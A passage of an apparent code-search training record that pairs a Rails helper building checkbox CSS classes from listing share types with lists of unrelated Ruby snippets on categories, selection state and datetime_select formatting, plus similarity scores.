"def select_item\n @selected = @current\n\n items\n end",
"def _category\n @_category ||= if category\n category\n elsif special_category\n special_category\n else\n nil\n end\n end",
"def selected?\n @selected ||= selected_by_subnav? || selected_by_condition?\n end",
"def active_class(image)\n image == images.first ? 'active' : ''\n end",
"def category(category)\n self.category = category\n self\n end",
"def category(category)\n self.category = category\n self\n end",
"def select_by_class_get_selected(class_name)\n return select_by_class(class_name).selected_option\nend",
"def next_category\n @category_window.cursor_right\n @capacities_list_window.activate.select(0)\n end",
"def has_selected?\n selected?\n end",
"def set_lectures\r\n @category = Category.find(params[:category_id])\r\n end",
"def active_class(rendered_page, current_page)\n if rendered_page[:shortname] == current_page[:shortname]\n return 'active'\n elsif (current_page.page_type == \"country\" && !current_page.parent.nil? && rendered_page[:shortname] == current_page.parent[:shortname])\n return 'active'\n end\n return '' \n end",
"def selected?\n return @selected\n end",
"def uhook_show_category category\n unless category.in_locale?(current_locale)\n redirect_to(ubiquo.category_set_categories_url)\n false\n end\n end",
"def next_category\n @category_window.cursor_right\n @item_window.select(0) if @item_window.active\n end",
"def current_category\n @current_category ||= Category.find_by(id: session[:category_id])\n end",
"def selected\n find(&:selected?)\n end",
"def get_new_listing_tab_class(listing_type)\n \"new_listing_form_tab_#{@listing.listing_type.eql?(listing_type) ? 'selected' : 'unselected'}\"\n end",
"def select_category_from_dropdown(category)\n click('Click to select category from dropdown', @driver.find_element(:xpath, DROPDOWN_OPTIONS_FORMAT % [category]))\n end",
"def save\n check_category! if self.category\n super\n end",
"def select_category_option(value, _)\n locators = %w[.cucumber-popular-item .cucumber-item]\n locators.each do |locator|\n return find(locator, text: value).click if page.has_css?(locator, text: value)\n end\n raise Capybara::ElementNotFound.new(\"Can't click on #{value} target option\")\n end",
"def active_link_class(item)\n active_class = 'active_menu_link'\n found = false\n case item.class.to_s\n when 'Project'\n found = true if (@project && @project == item) && (@stage.blank?)\n when 'Host'\n found = true if @host && @host == item\n when 'Recipe'\n found = true if @recipe && @recipe == item\n when 'User'\n found = true if @user && @user == item\n when 'Stage'\n found = true if @stage && @stage == item\n end\n \n if found\n active_class\n else\n ''\n end\n end",
"def select_by_class(class_name)\n @browser.select_list(:class, cuke_class(class_name))\nend",
"def custom_collect_class(cllt_type, resource)\n cllt_type == 'check_box' ? get_tag_class(resource.object.name) : resource.text\n end",
"def select_fittest(category, options = {})\n category = case category\n when Category\n category\n when String\n categories.first(:conditions => ['upper(categories.name) = upper(?)', category])\n end\n uhook_select_fittest category, options unless category.nil?\n end",
"def set_gt_category\n @gt_category = GtCategory.find(params[:id])\n end",
"def menu_selection \nend",
"def applicable_to_item(item)\n return true unless belongs_to_category?\n\n item.fields.any? do |field|\n next unless field.is_a?(ChoiceSet)\n\n choice = field.selected_choice(item)\n choice && choice.category_id == category_id\n end\n end",
"def tab( tab, include_class_text = true )\n\n value = 'inactive'\n value = 'selected' if tab\n \n if include_class_text\n ('class=\"' << value << '\"').html_safe\n else\n value\n end\n end",
"def filter_active?(category)\n return \"active\" if params[:category] == category\n return \"active\" if params[:category].nil? && category == \"all\"\n end",
"def asset_selected( main_model )\n workTabPane_state_changed( main_model )\n end",
"def asset_selected( main_model )\n workTabPane_state_changed( main_model )\n end",
"def classification=(value)\n @classification = value\n end",
"def classification=(value)\n @classification = value\n end",
"def select_color\n selected ? :red : color\n end",
"def categories\n taxonomies.all :conditions => { :classification => :category }\n end",
"def selected\r\n assert_exists\r\n #@option.selected\r\n option_selected\r\n end",
"def category_type\n object.category.main_cat\n end",
"def check_category(text)\n if @browser.link(:title=>text).exists? == false\n puts \"\\nCategory...\\n#{text}\\n...not found in list!\\n\\nPlease check for typos in your test data.\\n\"\n end\n if @browser.link(:title=>text).visible? == false\n @browser.link(:title=>text).parent.parent.parent.ins.click\n end\n if @browser.link(:title=>text).parent.class_name =~ /jstree-unchecked/\n @browser.link(:title=>text).click\n end\n sleep 0.3\n end",
"def has_category?(category_)\n @mutex.synchronize do\n @categories.has_key?(category_)\n end\n end",
"def set_available_category\n @available_category = AvailableCategory.find(params[:id])\n end",
"def cards_in_category(sel_category)\n @cards.select do |card|\n card.category == sel_category\n end\n end",
"def category\n # {{{\n if !@category then\n @category = Category.find(1).with(:is_private.is('t') & \n :category_id.in(User_Category.select(User_Category.category_id) { |cid| \n cid.where(User_Category.user_group_id == user_group_id)\n })).entity\n @category = Category.unassigned_category unless @category\n end\n @category\n end",
"def curatorSelected \n \"curatorSelected\" \n end",
"def category=(value)\n @category = value\n end",
"def category=(value)\n @category = value\n end",
"def category=(value)\n @category = value\n end",
"def category=(value)\n @category = value\n end",
"def category=(value)\n @category = value\n end",
"def category=(value)\n @category = value\n end",
"def category; end",
"def select_sub_category(sub_name)\n visible = false\n @driver.find_elements(\n @rows[:type], @rows[:value]\n ).each do |row|\n next unless row.text == sub_name\n row.click\n visible = true\n break\n end\n #Scrolle ekranu lidz bridim, kad mekleta subkategorija tiek atrasta\n @driver.scroll_to(sub_name).click unless visible\n end",
"def set_selected(menuident)\n @menus_items.each do |key, menus|\n if ! menus[menuident].nil?\n menus[menuident][\"selected\"] = true\n end\n end\n end",
"def set_category\n category_id = user_session[:category_id] unless user_session[:category_id].nil?\n category_id = params[:id] unless params[:id].nil?\n if current_user.is_admin?\n @categories = Category.all\n else\n @categories = Category.where(selection_process_id: @selection_process.id)\n end\n\n if category_id\n @category = Category.find_by_id(category_id)\n user_session[:category_id] = @category.id unless @category.nil?\n respond_to do |format|\n format.html do\n if @category.nil?\n redirect_to(root_path, alert: 'No se encontró una categoria con ese ID.')\n end\n end\n end\n else\n @category = nil\n end\n end",
"def feature_with_category?\n if @feature_with_category.nil?\n @feature_with_category = %w(category both).include?(featured)\n end\n @feature_with_category\n end",
"def select(tab)\n return unless tab\n return if active_tab == tab\n active_tab.remove_class(:active) if active_tab\n handles.select handles.find(\"[tab_id='#{tab[:tab_id]}']\")\n tab.add_class(:active)\n end",
"def get_selected_marketing_category_from_session\n marketing_category_id = session[:selected_marketing_category_id]\n \n #do we have a category_id\n if marketing_category_id != nil\n @marketing_category = MarketingCategory.find(marketing_category_id)\n else\n @marketing_category = MarketingCategory.new\n end\n end",
"def active_class\n act_class = :active\n act_class = :inactive unless self.active?\n act_class\n end",
"def set_category\n @category = Category.find(params[:id])\n end",
"def select\n @hidden = 0 # Selected worksheet can't be hidden.\n @selected = 1\n end",
"def select_object_audit_category(data_set)\n obj_audit = data_set[ConditionCheck::OBJ_AUDIT_CATEGORY.name]\n obj_audit_options_locator = input_options_locator([fieldset(ConditionCheck::OBJ_AUDIT_CATEGORY.name, 0)])\n wait_for_options_and_select(obj_audit_input_locator(0),obj_audit_options_locator, obj_audit) if obj_audit\n end",
"def set?\n class_name.include? 'mat-checked'\n end",
"def set_categor\n @categor = Categor.find(params[:id])\n end",
"def set_category\n @category = current_user.categories.find(params[:id])\n end",
"def css_class\n (page.link_to.split('/')[1] == @href.split('/')[1] || page.link_to?(@href)) && \"active\"\n end",
"def show_product_cate(active_cate, product_cate)\n if product_cate == active_cate\n \"<li class ='active'>#{ link_to( product_cate.name, category_path(product_cate.id) ) }</li>\".html_safe\n elsif product_cate.depth == 1\n content_tag(:h5) do\n product_cate.name\n end\n else\n \"<li>#{ link_to( product_cate.name, category_path(product_cate.id) ) }</li>\".html_safe\n end\n end",
"def select_cat_from_tree(obj, col, root, selected_obj, *args)\n options = args.extract_options!\n select_name = obj + '[' + col.to_s + ']'\n out = \"<select name='#{select_name}' onchange => update_category('#{obj}', facture)>\"\n out << select_cat_from_tree_recurs(root, selected_obj)\n out << \"</select>\"\n end",
"def set_category\n @category = current_user.categories.find(params[:category_id])\n end",
"def check_category!\n if self.category and (not self.category.saved?) and loaded = BookingCategory.get(self.category.code)\n self.category = loaded\n end\n if self.rental_storage and (not self.rental_storage.saved?) and loaded = RentalStorage.get(self.rental_storage.id)\n self.rental_storage = loaded\n end\n end"
] |
[
"0.66410714",
"0.600985",
"0.600985",
"0.59946895",
"0.59726435",
"0.5972357",
"0.58467275",
"0.5823109",
"0.5822424",
"0.5783398",
"0.57212406",
"0.5600886",
"0.5572107",
"0.5547639",
"0.5541068",
"0.5541068",
"0.55362797",
"0.55272615",
"0.5481189",
"0.54640514",
"0.54588485",
"0.54177815",
"0.5417229",
"0.54023165",
"0.53981084",
"0.53959596",
"0.5355724",
"0.5343548",
"0.532947",
"0.53243643",
"0.5314041",
"0.53133404",
"0.5305426",
"0.52868825",
"0.5281603",
"0.5273351",
"0.5271659",
"0.5271659",
"0.5267813",
"0.52643967",
"0.52521956",
"0.5250518",
"0.5229095",
"0.52182406",
"0.52045846",
"0.519545",
"0.51826894",
"0.51756394",
"0.51742476",
"0.51724225",
"0.5168757",
"0.516106",
"0.5147345",
"0.51465535",
"0.51223606",
"0.5122169",
"0.5109399",
"0.51087046",
"0.510196",
"0.5101149",
"0.5094379",
"0.5092206",
"0.5092206",
"0.5086876",
"0.5086876",
"0.5083052",
"0.5079291",
"0.5075114",
"0.5071339",
"0.50659937",
"0.50643504",
"0.50639427",
"0.50633603",
"0.5049657",
"0.5046877",
"0.5046174",
"0.5046174",
"0.5046174",
"0.5046174",
"0.5046174",
"0.5046174",
"0.50414914",
"0.5039029",
"0.50322866",
"0.50266844",
"0.50255865",
"0.5016167",
"0.5015341",
"0.49905598",
"0.4985031",
"0.49687457",
"0.49684522",
"0.4967597",
"0.49583754",
"0.49568495",
"0.4956636",
"0.49564007",
"0.4950656",
"0.49505323",
"0.49438632"
] |
0.644228
|
1
|
The classes the checkbox gets depend on to which categories its' share type belongs to.
|
def get_share_type_checkbox_classes(share_type)
classes = ""
Listing::VALID_CATEGORIES.each do |category|
if Listing::VALID_SHARE_TYPES[@listing.listing_type][category] &&
Listing::VALID_SHARE_TYPES[@listing.listing_type][category].include?(share_type)
classes += "#{category} "
end
end
classes
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def custom_collect_class(cllt_type, resource)\n cllt_type == 'check_box' ? get_tag_class(resource.object.name) : resource.text\n end",
"def get_type_select_icon_class(category)\n \"listing_type_select_icon_#{@listing.category.eql?(category) ? 'selected' : 'unselected'}_#{category}\"\n end",
"def classes\n kwattr_values(\"class\")\n end",
"def bootstrap_classes_for_collection coll, class_type='label'\n remaining = BOOTSTRAP_CLASSES.dup\n assignments = {}\n coll.each do |v|\n unless remaining.empty?\n assignments[v] = \"#{class_type}-#{remaining.shift}\"\n end\n end\n assignments\n end",
"def checkboxes; end",
"def types\n classifications.collect() do |c|\n c[\"classificationTypeName\"]\n end\n end",
"def set?\n class_name.include? 'mat-checked'\n end",
"def category_check_box_tags(field, options={})\n Preference.notification_options.map do |value|\n check_box_tag(\"preference[categories][#{field}][]\", value,\n @preference.categories[field] && @preference.categories[field].include?(value),\n options\n )\n end.join('</td><td class=\\'check-boxes\\'>').html_safe\n end",
"def add_classification\n @bib.classification.each do |c|\n case c.type\n when \"type\" then @item[\"type\"] = c.value\n when \"mendeley\" then @item[\"mendeley-tags\"] = c.value\n end\n end\n end",
"def classes\n @classes.values\n end",
"def classes\n @classes.values\n end",
"def classes\n @classes\n end",
"def get_classes\n (attr['class'] || '').downcase.split(' ').sort\n end",
"def vote_button_classes(from_participations_list)\n return \"small\" if from_participations_list\n \"expanded button--sc\"\n end",
"def input_class(input_type)\r\n hash = {\r\n 'select-one' => 'SelectList',\r\n 'select-multiple' => 'SelectList',\r\n 'text' => 'TextField',\r\n 'password' => 'TextField',\r\n 'textarea' => 'TextField',\r\n # TODO when there's no type, it's a TextField\r\n 'file' => 'FileField',\r\n 'checkbox' => 'CheckBox',\r\n 'radio' => 'Radio',\r\n 'reset' => 'Button',\r\n 'button' => 'Button',\r\n 'submit' => 'Button',\r\n 'image' => 'Button'\r\n }\r\n hash.default = 'Element'\r\n \r\n hash[input_type]\r\n end",
"def category_types\n @category_types.each\n end",
"def hidden_class\n model.is_hidden? ? [\"kono_utils-hidden\"] : []\n end",
"def get_new_listing_tab_class(listing_type)\n \"new_listing_form_tab_#{@listing.listing_type.eql?(listing_type) ? 'selected' : 'unselected'}\"\n end",
"def type\n self.category\n end",
"def classes\n self\n end",
"def linked_classes_for(klass)\n return [] unless klass.respond_to?(:linked_classes_for)\n\n klass.linked_classes_for(current_component).map do |k|\n [k.underscore, t(k.demodulize.underscore, scope: \"decidim.filters.linked_classes\")]\n end\n end",
"def classes\n @class_ids.collect { |idx| BClass.store[idx] }\n end",
"def classify_listtags tokeninputs\n tokeninputs.each { |tokeninput|\n tokeninput[:cssid] = \"choice_#{tokeninput[:id]}\"\n tokeninput[:cssclass] = tokeninput[:status].to_s\n tokeninput[:name] << \" (#{tokeninput[:owner_name]})\" if tokeninput[:status] != :owned\n }\n tokeninputs\n end",
"def classify_state(state)\n if state[1]\n state[0].each do |name|\n `#{@element}.classList.add(#{name})`\n end\n else\n state[0].each do |name|\n `#{@element}.classList.remove(#{name})`\n end\n end\n end",
"def works_with\n self.class.use_with_class_names.include? item_type\n end",
"def classes\n @class_list ||= Element::Classes.new(self)\n end",
"def feed_classes(feed)\n if current_user.globally_excluded?(feed)\n \"globally_excluded\"\n end\n end",
"def get_check_types\n [\"recieved\", \"primary\", \"secondary\", \"accountant\", \"upload\"]\n end",
"def classify\n # TODO\n # Inflector.classify(self)\n end",
"def set_klass\n @set_klass ||= SET_KLASS[[prioritized, pairwise]]\n end",
"def toggle_class\n Toggles::Value\n end",
"def content_type_classes(meta=false)\n (meta ? @metadata_tree.node_types : @content_tree.node_types).dup\n end",
"def classes; end",
"def category_type\n object.category.main_cat\n end",
"def classes_for_main\n\t\tclass_names = controller.controller_name + '-' + controller.action_name\n\t\tclass_names += \" sidebar\" unless @user.blank? || @hide_dashboard\n\t\tclass_names\n\tend",
"def linked_classes_filter_values_for(klass)\n [[\"\", t(\"all\", scope: \"decidim.filters.linked_classes\")]] + linked_classes_for(klass)\n end",
"def condition_classes_of(dependent_object)\n dependent_class_to_condition_class_mapping[dependent_object.class.name]\n end",
"def input_html_classes; end",
"def set_visual_info ()\n classes = ''\n\n ct = self.category_type\n ct && ct !~ /unknown/i &&\n classes << \" type_\" + ct.gsub( /[^a-zA-Z0-9\\-_]+/, '_' )\n\n classes << \" \" + to_css_class(self.category)\n\n self.css_classes = classes\n self.block_label = \"#{self.title}:<br/> #{self.subtitle}\"\n end",
"def classify\n Rails.logger.debug \"Classification #{id}.classify\"\n weights_sum = classifiers.map( &:weight ).reduce( 0, :+ )\n Rails.logger.debug \"weights_sum: #{weights_sum}\"\n\n available_sum = classifiers.reduce( 0.0 ) { |sum, c|\n true_weight = weights_sum / c.weight\n Rails.logger.debug \"#{c.name} true_weight: #{true_weight}\"\n\n sum += c.available * true_weight\n }\n\n Rails.logger.debug \"available_sum: #{available_sum}\"\n self.available = available_sum / classifiers.length\n Rails.logger.debug \"available: #{available}\"\n\n if available >= @@available_threshold\n self.status = 'up'\n else\n self.status = 'down'\n end\n end",
"def unique_classes\n @unique_classes\n end",
"def item_class\n item_type&.classify&.constantize\n end",
"def classes()\n return @driver.get_sc_core_query_element_classes(@handle, @index)\n end",
"def categorical?\n value_type_code.in? %i[category multi_category]\nend",
"def klass\n fetch('dnd.klasses')\n end",
"def klass\n fetch('dnd.klasses')\n end",
"def label_class\n visibility_term&.label_class\n end",
"def label_class\n visibility_term&.label_class\n end",
"def can_get_class?(klass); true; end",
"def likes\n Recommendations.config.ratable_classes.map { |klass| liked_for(klass)}.flatten\n end",
"def new_creatable_selection\n select_tag :model_type,options_for_select(creatable_classes.collect{|c| [c.underscore.humanize,c.underscore] })\n end",
"def isa? classname\n\t\t\tinit_classlist\n\t\t\t@cf.classlist.isa? classname\n\t\tend",
"def categories\n taxonomies.all :conditions => { :classification => :category }\n end",
"def classes_hash\n @classes\n end",
"def classes_hash\n @classes\n end",
"def feed_class(feed)\n return '' if feed.service.blank?\n \n if feed.service.photo?\n \"feed-photos\"\n elsif feed.service.bookmark?\n \"feed-bookmarks\"\n elsif feed.service.video?\n \"feed-videos\"\n elsif feed.service.music?\n \"feed-music\"\n end\n end",
"def show_classes\n classes = Rails.cache.fetch(\"#{current_user.cache_key}/allClasses\", expires_in: 1.hours) do\n keytechAPI.classes.loadAllClasses\n end\n\n # Filter only to files, office file and folders, ignore all CAD-related types\n @classes = []\n classes.each do |element_class|\n next unless element_class.classKey.ends_with?('_WF') ||\n element_class.classKey.ends_with?('_FD') ||\n element_class.classKey.ends_with?('_FILE') ||\n element_class.classKey.ends_with?('_WW') ||\n element_class.classKey.ends_with?('_XL') ||\n element_class.classKey.ends_with?('_PRJ')\n\n if !element_class.classKey.starts_with?('DEFAULT') && element_class.isActive\n @classes.push element_class\n end\n end\n\n response.headers['Cache-Control'] = 'public, max-age=60'\n respond_to do |format|\n format.json do\n render json: @classes\n end\n end\n end",
"def check_box_tag(name, value = \"1\", checked = false, options = {}) \n\t\toptions = check_options(options)\n\t\toptions[:class] << 'check_box'\n\t\tsuper(name, value, checked, options)\n\tend",
"def categorical?\n value_type == \"Category\"\nend",
"def classification=(value)\n case value\n when \"\"\n value = \"admitted\"\n when \"认可的\", \"допустимый\", \"admitido\"\n value = \"admitted\"\n when \"首选的\", \"suositettava\", \"suositeltava\", \"рекомендуемый\", \"preferente\"\n value = \"preferred\"\n when %w(preferred admitted deprecated)\n # do nothing\n end\n @classification = value\n end",
"def klass=(content_type)\n if self.class_name == content_type.slug\n @klass = content_type\n end\n end",
"def klass_name\n \"#{params[:klass_name].classify}\"\n end",
"def checkbox(item)\n name_li(item).checkbox\n end",
"def cv_klass\n object.model.class.properties[attribute_name.to_s].class_name\n end",
"def classification=(value)\n @classification = value\n end",
"def classification=(value)\n @classification = value\n end",
"def get_true_class(obj)\n return obj.true_class\n end",
"def check_box_type?\n self[:value][:type].to_s\n end",
"def classification\n return @classification\n end",
"def classification\n return @classification\n end",
"def likes\n Recommendable.config.ratable_classes.map { |klass| liked_for(klass) }.flatten\n end",
"def class_type=(value)\n\t\tself[:type] = value\n\tend",
"def dom_label_class\n I18n.t(\"valhalla.visibility.#{@visibility}.class\")\n end",
"def html_classes; end",
"def klass\n @options[:class].presence\n end",
"def tagClass?()\r\n\t\treturn (@type == \"c\") || (@type == \"i\")\r\n\tend",
"def dom_class\n form_node['class']\n end",
"def is_category_type? val\r\n val.include? category.category_type_code rescue false\r\n end",
"def nested_belongs_to_classes\n belongs_to_classes.select{|k| nested_attributes.include?(k)}\n end",
"def classes\n [self]\n end",
"def set_klass\n @klass = params[:type].blank? ? Supergroup : params[:type].constantize\n end",
"def classes_for_day(day)\n days_classes = Tableau::ClassArray.new\n @classes.each { |c| days_classes << c if c.day == day }\n days_classes.count > 0 ? days_classes : nil\n end",
"def support_counselors?\n self.class::COUNSELORS_SUPPORT.include? kind\n end",
"def type_klass; end",
"def set_defaults\n kind_list = self.availability_types\n kind_list.each do |default_avail_types|\n if DEFAULT_AVAILABILITY_TYPES[:kind].include?(default_avail_types.kind)\n default_avail_types.checked = true\n end\n end\n\n self.both_license_types = true\n end",
"def collect_tier_categories_for_select(klass, select=true)\n result = klass.find_all_categories.map {|c| [c.name, c.id]}\n result.insert(0, [\"Select...\".t, nil])\n result\n end",
"def classify(reads, within, support_reads, support_clip_length)\n read_groups = grouping_reads(reads, within, support_reads, support_reads)\n clips = [] # without SID reads\n non_clips = []\n\n read_groups.each do |read_group|\n if read_group.all? { |read| read.type == :B || read.type == :F }\n clips << read_group.sort\n else\n non_clips << read_group.sort\n end\n end\n non_clips.uniq!\n return clips, non_clips\n end",
"def css_classes\n classes= [\"row\"]\n unless @element.content_by_name(:classi_css).essence.body.nil?\n classes << @element.content_by_name(:classi_css).essence.body\n end\n classes #todo estrapolare valori da options\n end",
"def klass\n wtype=ENV.fetch('WORK_TYPE')\n if wtype==\"GraduateThesisOrDissertation\" then\n model=GraduateThesisOrDissertation\n elsif wtype==\"UndergraduateHonorsThesis\" then\n model=UndergraduateHonorsThesis \n elsif wtype==\"Article\" then\n model=Article\n elsif wtype==\"Book\" then\n model=Book\n elsif wtype==\"BookChapter\" then\n model=BookChapter\n elsif wtype == \"ConferenceProceeding\" then\n model=ConferenceProceeding\n elsif wtype == \"Presentation\" then\n model= Presentation\n elsif wtype == \"Report\"\n model= Report\n elsif wtype == \"Dataset\"\n model = Dataset\n elsif wtype == \"Default\"\n model= Default\n end\n model\n end",
"def item_types(refresh: false)\n cname = \"#{name}.item_types\"\n Rails.cache.delete(cname) if refresh\n\n Rails.cache.fetch(cname) do\n list = []\n implementation_classes.each do |imp_class|\n list += imp_class.attribute_names\n .select { |a| Classification::GeneralSelection.use_with_attribute?(a) }\n .map do |a|\n mn = imp_class.model_name.to_s.ns_underscore\n mn = mn.pluralize unless imp_class.respond_to?(:is_activity_log)\n \"#{mn}_#{a}\".to_sym\n end\n end\n\n list\n end\n end",
"def checkboxes_for coll, &blok\n \n @checkbox ||= Class.new do \n \n def initialize &blok\n instance_eval(&blok)\n end\n \n def text txt\n @text = txt\n end\n \n def value txt\n @value = txt\n end\n \n def name txt\n @name = txt\n end\n \n def props\n [ \n @text, \n { :name => @name, \n :type => 'checkbox', \n :value => @value \n } \n ]\n end\n \n end\n \n span_txt, attrs = @checkbox.new(&blok).props\n ele_id = \"checkbox_#{rand(1000)}_#{attrs[:value]}\"\n s_ele_id = \"selected_checkbox_#{rand(1000)}_#{attrs[:value]}\"\n \n text(capture {\n loop coll do\n \n show_if 'selected?' do\n div.box.selected {\n input( {:checked=>'checked', :id=>s_ele_id}.update attrs )\n label span_txt, :for=>s_ele_id\n }\n end\n \n if_not 'selected?' do\n div.box {\n input( {:id=>ele_id}.update attrs )\n label span_txt, :for=>ele_id\n }\n end\n \n end # === loop\n })\n\n end",
"def categorizable?\n self.content_type.presence && self.site.has_plugin?(:categories) && self.accept_categories\n end",
"def classes\n return [] unless classes = self[\"class\"]\n classes.strip.split(/\\s+/)\n end",
"def classify(commit)\n @classifier.classify(commit)\n end",
"def likes_in_common_with(user)\n Recommendable.config.ratable_classes.map { |klass| liked_in_common_with(klass, user) }.flatten\n end",
"def class_choices(stats)\n cl0 = [12, 0, 0, 0, 12, \"Guerrier/Gladiateur\"]\n cl1 = [0, 0, 13, 0, 0, \"Ninja/Assassin\"]\n cl2 = [0, 0, 12, 0, 0, \"Voleur\"]\n cl3 = [0, 0, 0, 12, 0, \"Prêtre\"]\n cl4 = [0, 12, 0, 0, 0, \"Mage/Sorcier\"]\n cl5 = [12, 10, 0, 11, 9, \"Paladin\"]\n cl6 = [0, 0, 10, 10, 0, \"Ranger\"]\n cl7 = [0, 0, 11, 12, 0, \"Ménestrel\"]\n cl8 = [11, 0, 11, 0, 0, \"Pirate\"]\n cl9 = [0, 12, 0, 11, 0, \"Marchand\"]\n cl10 = [0, 0, 11, 0, 0, \"Ingénieur\"]\n cl11 = [0, 10, 0, 11, 0, \"Bourgeois/Noble\"]\n\n classes = []\n i = 0\n while binding.eval(\"defined?(cl#{i})\")\n classes += [binding.eval(\"cl#{i}\")]\n i += 1\n end\n determine_choices(stats, classes)\n end",
"def contains?(klass)\n\t\tmap { |obj| obj.class }.include? klass\n\tend",
"def css_class\n Meal.css_class_for_type(type)\n end",
"def tag_classes(tag)\n classes = [dom_id(tag)]\n \n classes << \"public\" if tag.public?\n \n if current_user.globally_excluded?(tag)\n classes << \"globally_excluded\"\n elsif current_user.subscribed?(tag)\n classes << \"subscribed\"\n elsif (current_user.id == tag.user_id) && tag.public\n classes << \"published\"\n end\n classes.join(\" \")\n end",
"def classify\n MotionSupport::Inflector.classify(self)\n end"
] |
[
"0.6323129",
"0.6007488",
"0.5917209",
"0.55293566",
"0.5478942",
"0.5374005",
"0.529047",
"0.52528554",
"0.5248263",
"0.5177959",
"0.5177959",
"0.51761925",
"0.5149101",
"0.5134327",
"0.50972486",
"0.5096677",
"0.5091888",
"0.5090738",
"0.5084677",
"0.50575995",
"0.5053975",
"0.50479317",
"0.50310755",
"0.5023719",
"0.5017613",
"0.50047386",
"0.49879315",
"0.49824688",
"0.49819088",
"0.49797007",
"0.49720275",
"0.49566242",
"0.4956082",
"0.49547714",
"0.49495786",
"0.4948606",
"0.49464202",
"0.4944368",
"0.49434513",
"0.49327222",
"0.49318197",
"0.49260372",
"0.49208272",
"0.49208084",
"0.4910977",
"0.4910977",
"0.48990965",
"0.48990965",
"0.48942024",
"0.48875868",
"0.48850155",
"0.48721874",
"0.48708495",
"0.48630258",
"0.48630258",
"0.4852423",
"0.48496017",
"0.48487112",
"0.48461106",
"0.4844489",
"0.48443756",
"0.48442954",
"0.48400635",
"0.4836528",
"0.4830738",
"0.4830738",
"0.4825438",
"0.48159215",
"0.4802367",
"0.4802367",
"0.4800508",
"0.47982365",
"0.4794774",
"0.47944063",
"0.4771147",
"0.47685027",
"0.47614044",
"0.4757837",
"0.4753408",
"0.47529963",
"0.47511083",
"0.47502807",
"0.47475845",
"0.4745334",
"0.47415105",
"0.47411236",
"0.4740274",
"0.47369814",
"0.47238997",
"0.47164404",
"0.47114137",
"0.47006178",
"0.46966976",
"0.4691264",
"0.46864557",
"0.46842378",
"0.4678441",
"0.46736205",
"0.4662447",
"0.46608865"
] |
0.8373561
|
0
|
Removes extra characters from datetime_select field
|
def clear_datetime_select(&block)
time = "</div><div class='date_select_time_container'><div class='datetime_select_time_label'>#{t('listings.form.departure_time.at')}:</div>"
colon = "</div><div class='date_select_time_container'><div class='datetime_select_colon_label'>:</div>"
haml_concat capture_haml(&block).gsub(":", "#{colon}").gsub("—", "#{time}").gsub("\n", '').html_safe
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def datetime_select(time, options)\n date_select(time, options) + ' at ' + time_select(time, options)\n end",
"def sanitize_date_time(value)\n value.strftime(\"%Y-%m-%d\")\n end",
"def format_datetime\n if @opts[:as] == :select\n values = {}\n if v = @attr[:value]\n v = DateTime.parse(v) unless v.is_a?(Time) || v.is_a?(DateTime)\n values[:year], values[:month], values[:day], values[:hour], values[:minute], values[:second] = v.year, v.month, v.day, v.hour, v.min, v.sec\n end\n _format_date_select(values, @opts[:order] || DEFAULT_DATETIME_ORDER)\n else\n _format_input('datetime-local')\n end\n end",
"def datetime_select(method, options = T.unsafe(nil), html_options = T.unsafe(nil)); end",
"def quote_datetime(value)\n \"'#{value.dup}'\"\n end",
"def date_select(field, options={}, &block)\n format_with_label(field, options.merge(:field_type => \"date\"), super(field, purge_custom_tags(options)), &block)\n end",
"def datetime_clean(value)\n value.to_s.strip.sub(/[+-]00?(:00?)?$/, ZULU).sub(/\\d+\\.\\d+/) do |sec|\n '%02d' % [sec.to_f.round, 59].min\n end\n end",
"def datetime_select(method, options = {}, html_options = {})\n existing_time = @object.send(method) \n formatted_time = existing_time.to_time.strftime(\"%F %I:%M %p\") if existing_time.present?\n @template.content_tag(:div, :class => \"input-group\") do \n text_field(method, :value => formatted_time, :class => \"form-control datetimepicker\", :\"data-date-format\" => \"YYYY-MM-DD hh:mm A\") +\n @template.content_tag(:span, @template.content_tag(:span, \"\", :class => \"glyphicon glyphicon-calendar\") ,:class => \"input-group-addon\")\n end\n end",
"def select_datetime(datetime, options)\n select_date(datetime, options)\n select_time(datetime, options)\n end",
"def gnupg_date_format(maybe_datetime)\n datetime = case maybe_datetime\n when DateTime then maybe_datetime\n when Time, Date then maybe_datetime.to_datetime\n else raise ArgumentError,\n \"datetime: has to be a DateTime/Time/Date\"\n end\n\n # datetime.utc.iso8601.gsub(/-|:/, '')[0..-6]\n datetime.utc.iso8601.gsub(/-|:/, \"\")[0..-6]\n end",
"def select_datetime(datetime = Time.now, options = {})\r\n # include_blank not allowed!\r\n options.delete(:include_blank)\r\n order = options.delete(:order) || DEFAULT_DATETIME_ORDER.dup\r\n # Make sure it includes :ampm if 12-hour and vice-versa\r\n (options[:twelve_hour] = true) if order.include?(:ampm)\r\n (order << :ampm) if options[:twelve_hour] && !order.include?(:ampm)\r\n \r\n outstring = \"\"\r\n # Call the non-instanced helpers in order\r\n select_by_key = Proc.new { |key| self.send(\"select_#{key.to_s}\", datetime, cleanoptions(options, key)) }\r\n for key in order\r\n if key.is_a?(Symbol)\r\n outstring << select_by_key.call(key) rescue outstring << key.to_s\r\n else\r\n outstring << key.to_s \r\n end\r\n end\r\n outstring\r\n end",
"def fmt_dt_picker(dt) _format_dt dt, DSLASHT end",
"def datetime_format\n end",
"def quoted_date(value)\n super.to_s\n end",
"def my_datetime_input_html(fragment,strfformat)\n template.send(\n :text_field_tag,\n '%s[%s_%s]' % [object_name, method, fragment.to_s],\n (value.respond_to? :strftime) ? value.strftime(strfformat) : value,\n input_html_options.merge(\n :id => fragment_id(fragment), \n :class => [\"input-small\", \"%s_picker\" % fragment.to_s].join(' '))\n )\n end",
"def sanitize_data!\n convert_datetimes_intelligently!\n end",
"def datetime_field_tag(name, value = nil, options = {})\n text_field_tag(name, value, options.merge(type: \"datetime-local\"))\n end",
"def normalize(v)\n v = strip_copyright(v) if v.is_a?(String)\n datetime_convert(v)\n end",
"def datetime_escape(string)\n Time.parse(string)\n end",
"def date_select_html(val)\n %(<option value=\"#{val}\" selected=\"selected\">#{val}</option>)\n end",
"def format_date\n if @opts[:as] == :select\n values = {}\n if v = @attr[:value]\n v = Date.parse(v) unless v.is_a?(Date)\n values[:year], values[:month], values[:day] = v.year, v.month, v.day\n end\n _format_date_select(values, @opts[:order] || DEFAULT_DATE_ORDER)\n else\n _format_input(:date)\n end\n end",
"def sanitize_select_options(options)#:nodoc:\n o = options.dup\n select = o.delete :select\n o[:override_select] = select ? select_column_sql(select) : ' * '\n o\n end",
